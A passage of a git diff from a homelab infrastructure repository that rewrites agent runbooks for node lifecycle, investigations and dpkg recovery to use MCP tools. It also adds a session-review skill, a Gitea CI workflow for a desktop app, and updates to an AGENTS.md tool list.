fpath = os.path.join(REPO, "plans", name)
|
||||
with open(fpath) as f:
|
||||
found_status = False
|
||||
for line_num, line in enumerate(f, 1):
|
||||
if line_num > 5:
|
||||
break
|
||||
m = STATUS_RE.match(line)
|
||||
if m:
|
||||
found_status = True
|
||||
status = m.group(1).strip().lower()
|
||||
if not status.startswith("done"):
|
||||
print(f"{fpath}:{line_num}: status '{m.group(1).strip()}' — file is in done/ but status is not 'Done'")
|
||||
violations += 1
|
||||
break
|
||||
if not found_status:
|
||||
print(f"{fpath}:1: file is in done/ but has no Status header")
|
||||
violations += 1
|
||||
|
||||
return violations
|
||||
|
||||
def main(argv):
|
||||
paths = argv or ["knowledge", ".agents", "operations", "investigations", "plans"]
|
||||
violations = 0
|
||||
|
||||
if "plans" in paths or any(p.startswith("plans") for p in paths):
|
||||
violations += check_plans()
|
||||
|
||||
# The style guide and this skill enumerate the banned words by definition.
|
||||
ban_exempt = ("shared/writing-style.md", "skills/docs-lint/")
|
||||
for f in sorted(set(iter_md(paths))):
|
||||
|
||||
@@ -10,22 +10,23 @@ docs_update_checklist: [investigations_entry]
|
||||
|
||||
Goal: understand what broke and why, before touching anything.
|
||||
|
||||
1. `homelab service <name> explain` (or `homelab node <name> relations`
|
||||
if the affected entity is a host) — get the blast radius and doc
|
||||
pointer first. Don't start pulling logs blind.
|
||||
2. `homelab service <name> health` + `homelab service <name> log` (or
|
||||
MCP `get_service_status` / `tail_log`) for the affected service.
|
||||
1. MCP `explain` (or `get_blast_radius` if the affected entity is a
|
||||
host) — get the blast radius and doc pointer first. Don't start
|
||||
pulling logs blind.
|
||||
2. MCP `get_service_status` + `tail_log` for the affected service.
|
||||
3. Walk the blast radius: is a shared dependency down (`caddy`, `dns`,
|
||||
`authentik`, or the backend host itself)? `homelab node <name>
|
||||
relations` shows "affected by" — check those first.
|
||||
4. `homelab apt-audit` if the symptom looks like a dpkg/upgrade
|
||||
interaction.
|
||||
`authentik`, or the backend host itself)? MCP `get_blast_radius`
|
||||
shows "affected by" — check those first.
|
||||
4. If the symptom looks like a dpkg/upgrade interaction, see
|
||||
[runbook-dpkg-interrupted](../runbook-dpkg-interrupted/SKILL.md) —
|
||||
there's no fleet-wide apt-audit tool anymore, check the host directly.
|
||||
5. Check the change ledger for recent mutations to the affected entity
|
||||
or anything upstream of it: `homelab service <name> history` (once
|
||||
populated) or grep `ledger/*.jsonl`.
|
||||
6. Write findings to a new `knowledge/sources/investigations/<date>-<slug>.md` — symptom,
|
||||
timeline, root cause, fix applied, prevention. This is the durable
|
||||
record; don't rely on chat history.
|
||||
or anything upstream of it: MCP `get_change_history` or `get_audit_trail`.
|
||||
6. Write findings via MCP `upsert_knowledge` (`kind: investigation`) —
|
||||
symptom, timeline, root cause, fix applied, prevention, `about` set to
|
||||
the affected entity's slug. The DB is the durable record now, not a
|
||||
markdown file — `search_knowledge`/`get_entity_knowledge` read it back;
|
||||
a chat message alone is forgotten.
|
||||
|
||||
Docs-update checklist: always create the investigation entry. If the
|
||||
root cause was stale/wrong inventory data (a `doc_page`, `config_repo`,
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
name: lifecycle-activate-node
|
||||
risk_class: config_mutation
|
||||
inputs: [node_name]
|
||||
verification: "homelab service <name> health (if it hosts a service); homelab doctor (if it's a client)"
|
||||
verification: "MCP get_service_status (if it hosts a service); MCP whoami (if it's a client)"
|
||||
docs_update_checklist: [doc_page_complete]
|
||||
transition: "provisioning -> active"
|
||||
---
|
||||
@@ -14,23 +14,22 @@ enrolled if it needs secrets, mesh joined if it needs off-LAN reach,
|
||||
ingress live if public, health check answering, doc page complete,
|
||||
ledger entry.
|
||||
|
||||
1. If the node is a `homelab` client: finish enrollment per
|
||||
[client-enrollment.md](../client-enrollment/SKILL.md) (`--finalize-pubkey`,
|
||||
mesh join, `homelab doctor` green).
|
||||
1. If the node self-enrolls as a client: finish enrollment per
|
||||
[CLIENTS.md](../../../CLIENTS.md#enrollment) (`bootstrap.sh` →
|
||||
`/api/v1/clients/enroll`, mesh join, MCP `whoami` returns the entity).
|
||||
2. If it hosts a public service: add the `services:` entry in
|
||||
`inventory.yaml` (backend, url, doc_page, config_repo, risk_notes —
|
||||
see the Week-1 service contract fields) and wire the Caddy route in
|
||||
`dtoro/caddy-conf`.
|
||||
3. Confirm the health check answers: `homelab service <name> health` or
|
||||
a direct `curl`.
|
||||
`seeds/inventory.yaml` (backend, url, doc_page, config_repo,
|
||||
risk_notes) and wire the Caddy route in `dtoro/caddy-conf`.
|
||||
3. Confirm the health check answers: MCP `get_service_status` or a
|
||||
direct `curl`.
|
||||
4. Flip `state: provisioning` → `state: active` (or delete the `state:`
|
||||
field — `active` is the default) in `inventory.yaml`.
|
||||
field — `active` is the default) in `seeds/inventory.yaml`, then
|
||||
`oikos seed` to ingest.
|
||||
5. Complete the doc page (stub → full narrative: role, specs, how it's
|
||||
configured, dependencies).
|
||||
6. Record the activation: `oikos/ledger.py append host:<name> activate
|
||||
config_mutation --result ok` (or let the CLI wrapper do this once
|
||||
Week 3's runbook automation lands).
|
||||
6. No manual record-keeping step needed — the activation (via whatever
|
||||
API call flipped the state) is recorded automatically in `audit_log`.
|
||||
|
||||
Regenerate derived data: `python3 mcp/build_host_files.py && python3
|
||||
inventory.yaml` so `inventory.yaml`, the topology diagram, and
|
||||
the context card all reflect the new state.
|
||||
Regenerate: `oikos seed` re-ingests `seeds/inventory.yaml`; `oikos export`
|
||||
writes DB state back out to the YAML if you mutated via the API/MCP
|
||||
instead of editing the file directly.
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
name: lifecycle-deprecate-node
|
||||
risk_class: config_mutation
|
||||
inputs: [node_name, replacement_node_or_reason]
|
||||
verification: "homelab node <name> relations — 'affected by' must be empty before completing"
|
||||
verification: "MCP get_blast_radius — 'affected by' must be empty before completing"
|
||||
docs_update_checklist: [doc_page_deprecation_note]
|
||||
transition: "active -> deprecated"
|
||||
---
|
||||
@@ -16,14 +16,14 @@ suggestion; `seeds/policy.yaml` `lifecycle_overrides.deprecated.refuse`
|
||||
lists `new-inbound-edges` as refused going forward.
|
||||
|
||||
1. Set `state: deprecated` on the node.
|
||||
2. `homelab node <name> relations` — read `affected_by`. Every entry
|
||||
there is something still relying on this node.
|
||||
2. MCP `get_blast_radius` — read `affected_by`. Every entry there is
|
||||
something still relying on this node.
|
||||
3. Migrate or retire each dependent one at a time (point its `backend`/
|
||||
`config_repo`/ingress route elsewhere, or deprecate it too if it's
|
||||
being retired alongside).
|
||||
4. Re-run `homelab node <name> relations` after each dependent is moved.
|
||||
The transition to `destroyed` is only safe once `affected_by` is
|
||||
empty — check this every time, don't assume from memory.
|
||||
4. Re-run MCP `get_blast_radius` after each dependent is moved. The
|
||||
transition to `destroyed` is only safe once `affected_by` is empty —
|
||||
check this every time, don't assume from memory.
|
||||
5. Note the deprecation on the doc page: reason, replacement (if any),
|
||||
date.
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
name: lifecycle-destroy-node
|
||||
risk_class: destructive
|
||||
inputs: [node_name]
|
||||
verification: "homelab node <name> relations returns unknown-entity; pct list on the backend no longer shows it"
|
||||
verification: "MCP get_blast_radius returns unknown-entity; pct list on the backend no longer shows it"
|
||||
docs_update_checklist: [archaeology_entry, containers_index_update]
|
||||
transition: "deprecated -> destroyed"
|
||||
---
|
||||
@@ -15,28 +15,35 @@ recipients removed + re-keyed, ingress/DNS removed, archaeology entry,
|
||||
ledger entry.
|
||||
|
||||
1. Confirm the node is `deprecated` with zero `affected_by` edges
|
||||
(`homelab node <name> relations`) — do not skip this even if the
|
||||
deprecation runbook was followed recently; state can drift.
|
||||
2. If it's an enrolled client: `homelab client remove <name>` — revokes
|
||||
the age key, re-keys SOPS, removes the inventory entry. This is
|
||||
already destructive-class and confirmed in the CLI.
|
||||
(MCP `get_blast_radius`) — do not skip this even if the deprecation
|
||||
runbook was followed recently; state can drift.
|
||||
2. **If it's an enrolled client: no current tool for revoking its age key /
|
||||
removing its Infisical identity.** The old `homelab client remove`
|
||||
(age key revocation + SOPS re-key + inventory removal, all one
|
||||
destructive-class CLI call) is retired along with the rest of that CLI
|
||||
and hasn't been re-verified against the current enrollment
|
||||
architecture (`POST /api/v1/clients/enroll` + Infisical machine
|
||||
identities) — see the "Open questions" section in
|
||||
[agent-enrollment.md](../../operations/agent-enrollment.md). Until
|
||||
that's confirmed, treat key/identity revocation as a manual step:
|
||||
at minimum remove the client's `age_pubkey` from any SOPS recipient
|
||||
lists and rotate credentials whose ciphertext it already decrypted.
|
||||
3. Remove any ingress route (Caddy config repo) and DNS record still
|
||||
pointing at it.
|
||||
4. Verify backups of anything on it are retained per policy before the
|
||||
disk goes away (see `backs-up-to`).
|
||||
5. Destroy the LXC/VM (`pct destroy` / `qm destroy`).
|
||||
6. Move the `hosts.<name>:` block (if any inventory remnant survives
|
||||
`client remove`, e.g. infra-only LXCs with no age key) into
|
||||
inventory.yaml's `archaeology:` section: `pve_id`, `destroyed` date,
|
||||
`reason`. Add a row to `containers/index.md` "Recently destroyed"
|
||||
table (kept for human-readable browsing alongside the structured
|
||||
data).
|
||||
7. `oikos/ledger.py append host:<name> destroy destructive --result ok`.
|
||||
8. Regenerate: `python3 mcp/build_host_files.py && python3
|
||||
inventory.yaml` — the node drops out of `inventory.yaml` and
|
||||
appears in the topology doc's archaeology table.
|
||||
6. Update the entity's `state` to `destroyed` in `seeds/inventory.yaml`
|
||||
(or move it to an `archaeology:`-style section if the schema still has
|
||||
one) — `pve_id`, `destroyed` date, `reason` — then `oikos seed` to
|
||||
ingest. Add a row to `containers/index.md` "Recently destroyed" table
|
||||
(kept for human-readable browsing alongside the structured data).
|
||||
7. No manual ledger step — mutations through the API are recorded
|
||||
automatically in the `audit_log` table (MCP `get_audit_trail`,
|
||||
`get_change_history`). The old `oikos/ledger.py append` was retired
|
||||
when this became automatic.
|
||||
|
||||
If the destroy fails partway (e.g. secrets revoked but pct destroy
|
||||
errors), do not re-run step 2 — `client remove` is not idempotent
|
||||
against a second revocation attempt on the issuance server. Finish the
|
||||
remaining steps manually and note the partial state in an investigation.
|
||||
If the destroy fails partway (e.g. secrets not fully revoked but pct
|
||||
destroy errors), finish the remaining steps manually and note the
|
||||
partial state in an investigation (MCP `upsert_knowledge`,
|
||||
`kind: investigation`).
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
name: lifecycle-migrate-node
|
||||
risk_class: config_mutation
|
||||
inputs: [node_name, source_host, target_host]
|
||||
verification: "homelab node <name> relations (re-check blast radius); homelab service <svc> health for every hosted service"
|
||||
verification: "MCP get_blast_radius (re-check blast radius); MCP get_service_status for every hosted service"
|
||||
docs_update_checklist: [doc_page_migration_note, inventory_host_and_lan_ip]
|
||||
transition: "active -> migrating -> active"
|
||||
---
|
||||
@@ -10,12 +10,12 @@ transition: "active -> migrating -> active"
|
||||
# Lifecycle: migrate a node
|
||||
|
||||
Modeled on the strong Phase 1+2 migration
|
||||
([plans/2026-06-03_110000-library-ssd-migration-to-ludo-mini.md](../../../.hermes/plans/2026-06-03_110000-library-ssd-migration-to-ludo-mini.md)).
|
||||
([archive/hermes-plans/2026-06-03_110000-library-ssd-migration-to-ludo-mini.md](../../../archive/hermes-plans/2026-06-03_110000-library-ssd-migration-to-ludo-mini.md)).
|
||||
Requires (ontology): preflight + backup-verified before migrating;
|
||||
post-verify + Caddy backends checked + mounts checked + docs updated
|
||||
before returning to `active`.
|
||||
|
||||
1. `homelab change preflight <every service the node hosts>` — capture
|
||||
1. MCP `preflight` for every service the node hosts — capture
|
||||
current health as a baseline.
|
||||
2. Verify backups are current for anything with data at rest on the
|
||||
node (see `backs-up-to` edges once populated).
|
||||
@@ -29,11 +29,12 @@ before returning to `active`.
|
||||
6. Post-verify: re-run the Week-1 drift check by hand — confirm Caddy's
|
||||
backend IP for each affected service matches the new `lan_ip`
|
||||
(automatic in Week 3's drift detector), confirm mounts still resolve.
|
||||
7. `homelab service <name> health` for every service the node hosts.
|
||||
7. MCP `get_service_status` for every service the node hosts.
|
||||
8. Set `state: active`. Add a migration note to the node's doc page
|
||||
(old host/IP → new, date, phase reference) — this repo's convention
|
||||
for every past migration (see `archive/knowledge/containers/101-jellyfin.md`,
|
||||
`containers/129-house.md`).
|
||||
|
||||
Regenerate: `python3 mcp/build_host_files.py && python3
|
||||
inventory.yaml`.
|
||||
Regenerate: `oikos seed` (re-ingests `seeds/inventory.yaml` into the DB —
|
||||
the DB is authoritative at runtime, the YAML is the source of truth
|
||||
on disk).
|
||||
|
||||
@@ -21,10 +21,12 @@ chosen, doc page stub.
|
||||
`qm create`), choosing the storage pool deliberately — record it as
|
||||
the `storage:` field once populated (Week 1 schema; not yet backfilled
|
||||
for existing nodes).
|
||||
2. Add the inventory entry: `homelab client add <name>` for anything that
|
||||
will run the `homelab` CLI, or a direct `hosts.<name>:` block with
|
||||
`state: provisioning`, `kind`, `host`, `pve_id`, `lan_ip` for
|
||||
infra-only LXCs that won't self-enroll.
|
||||
2. Add the inventory entry: a `hosts.<name>:` block in
|
||||
`seeds/inventory.yaml` with `state: provisioning`, `kind`, `host`,
|
||||
`pve_id`, `lan_ip`, then `oikos seed` to ingest it. For anything that
|
||||
will self-enroll as a client afterward (see
|
||||
[CLIENTS.md](../../../CLIENTS.md#enrollment)), the entity must exist in
|
||||
`planned`/`provisioning` state before `bootstrap.sh` runs there.
|
||||
3. Stub the doc page (`containers/<pve_id>-<name>.md` or
|
||||
`vms/<pve_id>-<name>.md`) — even a one-line "provisioning, see plan X"
|
||||
is enough to satisfy the transition requirement.
|
||||
|
||||
@@ -18,7 +18,7 @@ summarised into targets and fixed costs.
|
||||
- `yuvomi-mcp` is running on LXC 129 and connected as an MCP server in Claude.
|
||||
- The CSV is an N26 export (columns: Booking Date, Value Date, Partner Name,
|
||||
Partner Iban, Type, Payment Reference, Account Name, Amount (EUR), …).
|
||||
- API token: `homelab secret yuvomi-api-token` (decrypts on any enrolled client).
|
||||
- API token: `yuvomi-api-token`, via Infisical (primary) or `oikos secret` (SOPS fallback).
|
||||
- Direct API base: `https://house.hubris.network/api/v1`
|
||||
|
||||
---
|
||||
|
||||
@@ -13,7 +13,8 @@ has packages that are **unpacked but not configured**. Symptoms:
|
||||
manually run 'dpkg --configure -a' to correct the problem.`
|
||||
- `dpkg --audit` lists packages with header
|
||||
`The following packages have been unpacked but not yet configured.`
|
||||
- `homelab apt-audit` shows `DPKG: DIRTY(N)` for the host.
|
||||
- `dpkg --audit` on the host directly shows unpacked-not-configured packages
|
||||
(there's no fleet-wide audit tool anymore — check per-host).
|
||||
|
||||
The system is still running the **old** binaries (still in memory), but the
|
||||
**new** binaries are unpacked and waiting for their postinst to run. Two
|
||||
@@ -33,19 +34,20 @@ config dirs, capabilities, etc.). The system might not come back up cleanly.
|
||||
## Path A — target is still reachable over ssh (preferred)
|
||||
|
||||
```
|
||||
homelab ssh <host> -- bash -c 'DEBIAN_FRONTEND=noninteractive dpkg --configure -a && apt -y -o Dpkg::Options::=--force-confold upgrade'
|
||||
ssh <host> -- bash -c 'DEBIAN_FRONTEND=noninteractive dpkg --configure -a && apt -y -o Dpkg::Options::=--force-confold upgrade'
|
||||
```
|
||||
|
||||
Or for an LXC by name:
|
||||
Or for an LXC by name (via the MCP `run` tool, or directly on the Proxmox
|
||||
host):
|
||||
|
||||
```
|
||||
homelab pct <lxc> exec -- bash -c 'DEBIAN_FRONTEND=noninteractive dpkg --configure -a && apt -y -o Dpkg::Options::=--force-confold upgrade'
|
||||
pct exec <lxc> -- bash -c 'DEBIAN_FRONTEND=noninteractive dpkg --configure -a && apt -y -o Dpkg::Options::=--force-confold upgrade'
|
||||
```
|
||||
|
||||
When that returns, confirm:
|
||||
|
||||
```
|
||||
homelab apt-audit --target <host>
|
||||
ssh <host> -- dpkg --audit
|
||||
```
|
||||
|
||||
Expect `DPKG: ok` and the remaining `UPGR` count to match what's intentionally
|
||||
@@ -89,10 +91,11 @@ DEBIAN_FRONTEND=noninteractive dpkg --configure -a \
|
||||
|
||||
## Prevention
|
||||
|
||||
The `homelab apt-upgrade` wrapper launches apt inside a `systemd-run --collect`
|
||||
unit on the target, so it survives ssh teardown — the failure mode that put
|
||||
hubris into this state in the first place is no longer reachable through the
|
||||
standard tool. If you absolutely need to run apt manually over ssh, wrap it:
|
||||
The old `homelab apt-upgrade` wrapper (retired along with the rest of the
|
||||
`homelab` CLI) used to launch apt inside a `systemd-run --collect` unit on
|
||||
the target so it survived ssh teardown — that's the failure mode that put
|
||||
hubris into this state in the first place. There's no fleet-wide wrapper
|
||||
anymore; if you run apt manually over ssh, wrap it yourself the same way:
|
||||
|
||||
```
|
||||
ssh <host> systemd-run --unit=apt-recovery --collect bash -c 'apt -y upgrade'
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
name: service-health-check
|
||||
risk_class: read_only
|
||||
inputs: [service_name]
|
||||
verification: "homelab service <name> health"
|
||||
verification: "MCP get_service_status"
|
||||
docs_update_checklist: []
|
||||
---
|
||||
|
||||
@@ -10,15 +10,15 @@ docs_update_checklist: []
|
||||
|
||||
Goal: determine whether a service is actually healthy, without ad-hoc SSH.
|
||||
|
||||
1. `homelab service <name> explain` — read the context card: backend,
|
||||
blast radius, doc pointer, risk notes.
|
||||
2. `homelab service <name> health` — live health probe (HTTP code against
|
||||
the service's `url`/`endpoint`). Once the Week-3 scheduler ships, this
|
||||
reads a cached snapshot by default; pass `--live` to force a fresh probe.
|
||||
3. If unhealthy, `homelab service <name> log` (or MCP `tail_log`) for the
|
||||
last 200 lines.
|
||||
4. Cross-check blast radius: `homelab node <name> relations` — is this
|
||||
entity's own backend host healthy? A downstream failure (e.g. `strong`
|
||||
1. MCP `explain` — read the context card: backend, blast radius, doc
|
||||
pointer, risk notes.
|
||||
2. MCP `get_service_status` — live health probe (HTTP code against the
|
||||
service's `url`/`endpoint`); the scheduler also probes on its own
|
||||
interval, so this may reflect a recent cached result, not necessarily
|
||||
a fresh one.
|
||||
3. If unhealthy, `tail_log` for the last 200 lines.
|
||||
4. Cross-check blast radius: MCP `get_blast_radius` — is this entity's
|
||||
own backend host healthy? A downstream failure (e.g. a Proxmox host
|
||||
down) will show up here before the service's own logs explain anything.
|
||||
5. If the fix is a restart: classify first (`seeds/policy.yaml` —
|
||||
`service-restart` is `reversible_low` unless the service has a
|
||||
|
||||
82
.agents/skills/session-review/SKILL.md
Normal file
82
.agents/skills/session-review/SKILL.md
Normal file
@@ -0,0 +1,82 @@
|
||||
---
|
||||
name: session-review
|
||||
description: "Examine a Nomos chat session, compare the user's objective with the actual outcome, identify causes of failure (missing tools, excessive tool calls, blocked actions, model behavior), and propose concrete fixes."
|
||||
risk_class: reversible_low
|
||||
inputs: [session_id]
|
||||
---
|
||||
# Session review
|
||||
|
||||
Analyze Nomos chat sessions from the live database, diff objectives
|
||||
against outcomes, and propose fixes.
|
||||
|
||||
## 1. Retrieve session data
|
||||
|
||||
```bash
|
||||
# List recent sessions
|
||||
curl -s http://localhost:8092/sessions | jq '.sessions[:5]'
|
||||
|
||||
# Fetch one session with messages
|
||||
curl -s http://localhost:8092/sessions/{session_id} | jq .
|
||||
```
|
||||
|
||||
## 2. Classify the session
|
||||
|
||||
For each session determine:
|
||||
|
||||
| Dimension | Check |
|
||||
|-----------|-------|
|
||||
| Objective | What was the user trying to accomplish? |
|
||||
| Outcome | Was it achieved? (read final assistant text) |
|
||||
| Tool calls | Count, unique tools, redundancy (e.g., N+1 fan-out) |
|
||||
| Blockers | Missing action? Missing tool? Model refusal? Empty response? |
|
||||
| User frustration | Did the user need to clarify/correct/repeat? |
|
||||
| Message sizes | Content blob sizes — truncation needed? |
|
||||
|
||||
## 3. Key failure signatures
|
||||
|
||||
| Signature | Root cause | Fix |
|
||||
|-----------|-----------|-----|
|
||||
| Agent: "I can't run X — only supports Y" | Missing action in `request_execution` | Add action in `internal/mcp/server.go` |
|
||||
| Agent: "No local knowledge on that" + no web tool | Missing `http_get` / web fetch MCP tool | Add MCP tool |
|
||||
| Empty assistant bubble (text="", no tools) | Model returned blank completion | Retry + error surfacing |
|
||||
| Non-English boilerplate refusal | Flash-tier model degradation | Response quality guard |
|
||||
| >30 tool calls per turn, same tool repeated | N+1 fan-out instead of bulk tool | Enrich bulk tools + tighten SOUL.md |
|
||||
| Message >50KB in DB | Raw tool results persisted verbatim | Truncation in `store.go` |
|
||||
|
||||
## 4. Extract patterns across sessions
|
||||
|
||||
```bash
|
||||
# All sessions summary
|
||||
curl -s http://localhost:8092/sessions | jq -r '.sessions[] | "\(.id[:8]) \(.title[:80]) \(.created_at[:16])"'
|
||||
|
||||
# Message count + tool count per session
|
||||
for id in $(curl -s http://localhost:8092/sessions | jq -r '.sessions[].id'); do
|
||||
msgs=$(curl -s "http://localhost:8092/sessions/$id" | jq '.messages | length')
|
||||
tools=$(curl -s "http://localhost:8092/sessions/$id" | jq '[.messages[].content.tool_calls | length] | add')
|
||||
echo "$id $msgs msgs $tools tools"
|
||||
done
|
||||
```
|
||||
|
||||
## 5. Output format
|
||||
|
||||
```
|
||||
Session: {id[:8]} — "{title[:60]}"
|
||||
Messages: {N} ({user}/{assistant})
|
||||
Tool calls: {total} across {turns} turns
|
||||
Top tools: {name:count, name:count, ...}
|
||||
Objective: {one-line summary}
|
||||
Outcome: ✅ / ❌ / ⚠️
|
||||
Blockers: {list or "none"}
|
||||
Fixes needed: {concrete actions}
|
||||
Severity: blocker | friction | cosmetic
|
||||
```
|
||||
|
||||
## Related files
|
||||
|
||||
- `cmd/nomos/agent.go` — agent loop, tool building, response guards
|
||||
- `cmd/nomos/store.go` — session + message persistence
|
||||
- `internal/mcp/server.go` — all tool implementations including `request_execution`
|
||||
- `web/src/lib/components/ToolCallGroup.svelte` — tool result display
|
||||
- `nomos/SOUL.md` — agent persona and tool selection rules
|
||||
- `plans/2026-07-09-chat-sessions-improvements.md` — prior session findings
|
||||
- `plans/2026-07-09-session-execution-and-ux-fixes.md` — latest plan
|
||||
98
.gitea/workflows/desktop.yml
Normal file
98
.gitea/workflows/desktop.yml
Normal file
@@ -0,0 +1,98 @@
|
||||
name: Desktop App
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
tags:
|
||||
- 'desktop-*'
|
||||
- 'v[0-9]+.[0-9]+.[0-9]*'
|
||||
|
||||
jobs:
|
||||
build-ui:
|
||||
name: Build SPA
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '22'
|
||||
cache: 'npm'
|
||||
cache-dependency-path: web/package-lock.json
|
||||
- run: npm ci
|
||||
working-directory: web
|
||||
- run: npm run build
|
||||
working-directory: web
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: spa-dist
|
||||
path: web/dist/
|
||||
|
||||
build-macos-arm64:
|
||||
name: macOS (arm64)
|
||||
needs: build-ui
|
||||
runs-on: macos-14
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: spa-dist
|
||||
path: cmd/desktop/frontend/dist/
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.26'
|
||||
- run: go install github.com/wailsapp/wails/v3/cmd/wails3@latest
|
||||
- run: wails3 build -clean
|
||||
working-directory: cmd/desktop
|
||||
env:
|
||||
CGO_ENABLED: 1
|
||||
- run: |
|
||||
cd cmd/desktop/build/bin
|
||||
zip -r oikos-desktop-darwin-arm64.zip oikos-desktop.app
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: oikos-desktop-darwin-arm64
|
||||
path: cmd/desktop/build/bin/oikos-desktop-darwin-arm64.zip
|
||||
|
||||
build-linux-amd64:
|
||||
name: Linux (amd64)
|
||||
needs: build-ui
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: spa-dist
|
||||
path: cmd/desktop/frontend/dist/
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version: '1.26'
|
||||
- run: sudo apt-get update && sudo apt-get install -y libgtk-3-dev libwebkit2gtk-4.1-dev
|
||||
- run: go install github.com/wailsapp/wails/v3/cmd/wails3@latest
|
||||
- run: wails3 build -clean
|
||||
working-directory: cmd/desktop
|
||||
env:
|
||||
CGO_ENABLED: 1
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: oikos-desktop-linux-amd64
|
||||
path: cmd/desktop/build/bin/oikos-desktop
|
||||
|
||||
release:
|
||||
name: Create Release
|
||||
needs: [build-macos-arm64, build-linux-amd64]
|
||||
runs-on: ubuntu-latest
|
||||
if: startsWith(github.ref, 'refs/tags/')
|
||||
steps:
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: oikos-desktop-darwin-arm64
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: oikos-desktop-linux-amd64
|
||||
- name: Release
|
||||
uses: https://gitea.com/actions/release-action@v1
|
||||
with:
|
||||
files: |
|
||||
oikos-desktop-darwin-arm64.zip
|
||||
oikos-desktop-linux-amd64
|
||||
api_key: ${{ secrets.GITEA_TOKEN }}
|
||||
24
.gitignore
vendored
24
.gitignore
vendored
@@ -2,25 +2,23 @@
|
||||
__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Regenerated every scheduler run; ephemeral health-probe cache.
|
||||
oikos/state.json
|
||||
|
||||
# Compiled binaries (Go rewrite — bin/oikos, bin/nomos)
|
||||
bin/oikos
|
||||
bin/nomos
|
||||
oikos/oikos
|
||||
oikos
|
||||
webhook
|
||||
|
||||
# Legacy Python oikos (superseded by cmd/oikos Go binary — Phase 1-6 rewrite).
|
||||
# oikos/ kernel files are still imported by bin/homelab for operational CLI
|
||||
# commands (ssh, pct, logs, restart, status, open, secret, client, sync, mcp).
|
||||
# Remove oikos/* when bin/homelab is ported to Go.
|
||||
backups/
|
||||
.env
|
||||
.infisical-credentials
|
||||
|
||||
# Web UI (Svelte 5) — build artifacts. Ignore built output but keep the
|
||||
# .gitkeep placeholder so `//go:embed all:dist` (web/embed.go) compiles on a
|
||||
# fresh checkout before the UI is built.
|
||||
web/dist/*
|
||||
!web/dist/.gitkeep
|
||||
# Web UI (Svelte 5) — build artifacts. The SPA is a standalone static build,
|
||||
# deployed separately from the oikos binary (plans/2026-07-12-wails-desktop-app.md
|
||||
# 0.1), so the output dir is just a build artifact.
|
||||
web/dist/
|
||||
web/node_modules/
|
||||
|
||||
# Wails desktop app — frontend copy for embedding
|
||||
cmd/desktop/frontend/dist/
|
||||
cmd/desktop/build/
|
||||
cmd/desktop/oikos-desktop
|
||||
|
||||
104
AGENTS.md
104
AGENTS.md
@@ -34,7 +34,8 @@ Run `hostname` (Linux) or `scutil --get LocalHostName` (macOS), then read:
|
||||
|
||||
That file tells you your role, your peers, what's mounted, and what services
|
||||
you host. If it does not exist, this client was not enrolled — stop and tell
|
||||
the operator to run `homelab client add <hostname>` from an existing client.
|
||||
the operator; see [CLIENTS.md](CLIENTS.md#enrollment) for the enrollment flow
|
||||
(the entity needs to exist in `planned`/`provisioning` state first).
|
||||
|
||||
## 2. The topology
|
||||
|
||||
@@ -49,17 +50,24 @@ the operator to run `homelab client add <hostname>` from an existing client.
|
||||
## 3. The MCP server
|
||||
|
||||
The homelab exposes a Model Context Protocol server with structured tools.
|
||||
Endpoint: `https://mcp.hubris.network/mcp`.
|
||||
Endpoint: `https://mcp.hubris.network/mcp`. Every call needs
|
||||
`Authorization: Bearer <token>` — the API has no unauthenticated path except
|
||||
enrollment and `/healthz` (see "Authentication" below for where the token
|
||||
comes from).
|
||||
|
||||
Available tools (21 total):
|
||||
Available tools (33 total):
|
||||
|
||||
Context — observe + orient:
|
||||
get_entity(slug), list_entities(type, limit, cursor),
|
||||
get_relations(entity), get_blast_radius(entity),
|
||||
search_knowledge(query) — ILIKE search over documents, investigations,
|
||||
runbooks in the knowledge_entities table
|
||||
get_entity_knowledge(entity_slug) — every document, investigation, and
|
||||
runbook linked to one entity, in one call
|
||||
get_patterns(status, entity_type, action) — learned action patterns
|
||||
get_skills(status) — available automation skills
|
||||
http_get(url) — fetch a public page/raw file (e.g. researching how to
|
||||
deploy something before provisioning it); HTTP/HTTPS only, ~16KB cap
|
||||
|
||||
Management — live state:
|
||||
get_service_status(service_slug) — systemctl is-active on target host
|
||||
@@ -67,6 +75,8 @@ Available tools (21 total):
|
||||
list_lxcs() — all LXC containers with ID, host, IP, health
|
||||
get_lxc_state(lxc_slug) — pct status from Proxmox host
|
||||
ping_service(service_slug) — HTTP reachability from entity_status
|
||||
list_my_secrets(caller_pubkey) — secrets accessible to this client by
|
||||
age public key
|
||||
|
||||
Oikos — decisions:
|
||||
explain(service_slug) — compact context card (type, state, health, relations)
|
||||
@@ -84,11 +94,27 @@ Available tools (21 total):
|
||||
get_trend(entity_id, days=7) — metric slope over time
|
||||
get_event_timeline(severity, entity_slug, limit) — recent events
|
||||
|
||||
Execution — the single mutation path:
|
||||
request_execution(target, action, params) — policy-gated.
|
||||
reversible_low (restart, reload, pct_exec, apt audit) runs immediately;
|
||||
config_mutation (systemctl enable/disable, apt upgrade) queues for operator
|
||||
approval via Matrix, then executes on ✅.
|
||||
Knowledge — keep the graph current (none require approval; this updates
|
||||
the knowledge graph, not live infrastructure):
|
||||
upsert_knowledge(title, content) — record what you learned after solving
|
||||
a non-obvious problem; the only way anything persists past a session
|
||||
update_entity_attributes(slug, attributes) — merge a discovered fact
|
||||
(IP, version, port, ...) into an entity so a future task doesn't
|
